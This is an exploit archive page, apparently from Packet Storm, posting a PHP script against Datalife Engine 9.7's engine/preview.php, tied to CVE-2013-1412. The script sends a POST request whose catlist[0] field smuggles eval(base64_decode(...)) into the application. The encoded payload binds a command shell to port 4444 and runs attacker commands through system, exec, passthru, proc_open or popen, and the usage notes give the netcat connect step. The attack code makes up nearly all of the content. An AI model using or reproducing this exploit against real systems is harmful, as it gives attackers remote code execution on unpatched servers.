what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Datalife Engine 9.7 preview.php Bindshell

Datalife Engine 9.7 preview.php Bindshell
Posted Dec 14, 2015
Authored by Saeid Bostandoust

Datalife Engine version 9.7 engine/preview.php bindshell exploit that binds a shell to port 4444.

tags | exploit, shell, php
SHA-256 | 22a542d06634c1a6e671951a5661b2c397de011d5eacda316639c87a1010a36d

Datalife Engine 9.7 preview.php Bindshell

Change Mirror Download
<?php

// Exploit Title: Datalife Engine 9.7 Bindshell Exploit
// Date: 13/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://dleviet.com/
// Version: == 9.7
// Tested on: Datalife Engine 9.7
// CVE: http://www.cvedetails.com/cve/CVE-2013-1412/

$target="http://localhost/dle97/engine/preview.php";
$shellcode="ICAgIAogICAgICBAc2V0X3RpbWVfbGltaXQoMCk7IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CiAgICAgICR2WXFXPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwogICAgICBpZighZW1wdHkoJHZZcVcpKXsKICAgICAgICAkdllxVz1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICR2WXFXKTsKICAgICAgICAkdllxVz1leHBsb2RlKCcsJywgJHZZcVcpOwogICAgICAgICR2WXFXPWFycmF5X21hcCgndHJpbScsICR2WXFXKTsKICAgICAgfWVsc2V7CiAgICAgICAgJHZZcVc9YXJyYXkoKTsKICAgICAgfQogICAgICAKICAgICRwb3J0PTQ0NDQ7CgogICAgJHNjbD0nc29ja2V0X2NyZWF0ZV9saXN0ZW4nOwogICAgaWYoaXNfY2FsbGFibGUoJHNjbCkmJiFpbl9hcnJheSgkc2NsLCR2WXFXKSl7CiAgICAgICRzb2NrPUAkc2NsKCRwb3J0KTsKICAgIH1lbHNlewogICAgICAkc29jaz1Ac29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0t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xVykpewogICAgICAgIG9iX3N0YXJ0KCk7.CiAgICAgICAgc3lzdGVtKCRjKTsKICAgICAgICAkbz1vYl9nZXRfY29udGVudHMoKTsKICAgICAgICBvYl9lbmRfY2xlYW4oKTsKICAgICAgfWVsc2UKICAgICAgaWYoJHlSclIoJ3Byb2Nfb3BlbicpYW5kISRIRFJEKCdwcm9jX29wZW4nLCR2WXFXKSl7CiAgICAgICAgJGhhbmRsZT1wcm9jX29wZW4oJGMsYXJyYXkoYXJyYXkocGlwZSwncicpLGFycmF5KHBpcGUsJ3cnKSxhcnJheShwaXBlLCd3JykpLCRwaXBlcyk7CiAgICAgICAgJG89TlVMTDsKICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKXsKICAgICAgICAgICRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOwogICAgICB9ZWxzZQogICAgICBpZigkeVJyUignZXhlYycpYW5kISRIRFJEKCdleGVjJywkdllxVykpewogICAgICAgICRvPWFycmF5KCk7CiAgICAgICAgZXhlYygkYywkbyk7CiAgICAgICAgJG89am9pbihjaHIoMTApLCRvKS5jaHIoMTApOwogICAgICB9ZWxzZQogICAgICBpZigkeVJyUigncGFzc3RocnUnKWFuZCEkSERSRCgncGFzc3RocnUnLCR2WXFXKSl7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBwYXNzdGhydSgkYyk7CiAgICAgICAgJG89b2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgIH1.lbHNlCiAgICAgIGlmKCR5UnJSKCdwb3BlbicpYW5kISRIRFJEKCdwb3BlbicsJHZZcVcpKXsKICAgICAgICAkZnA9cG9wZW4oJGMsJ3InKTsKICAgICAgICAkbz1OVUxMOwogICAgICAgIGlmKGlzX3Jlc291cmNlKCRmcCkpewogICAgICAgICAgd2hpbGUoIWZlb2YoJGZwKSl7CiAgICAgICAgICAgICRvLj1mcmVhZCgkZnAsMTAyNCk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBwY2xvc2UoJGZwKTsKICAgICAgfWVsc2UKICAgICAgewogICAgICAgICRvPTA7CiAgICAgIH0KICAgIAogICAgICB9CiAgICAgIEBzb2NrZXRfd3JpdGUoJG1zZ3NvY2ssJG8sc3RybGVuKCRvKSk7CiAgICB9CiAgICBAc29ja2V0X2Nsb3NlKCRtc2dzb2NrKTsK";
$ch=curl_init();
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "catlist[0]=99999')||eval(base64_decode(\"$shellcode\"));//");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch);

// php dle-97-preview-bindshell.php
// nc localhost 4444

?>
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    8 Files
  • 6
    Jul 6th
    8 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close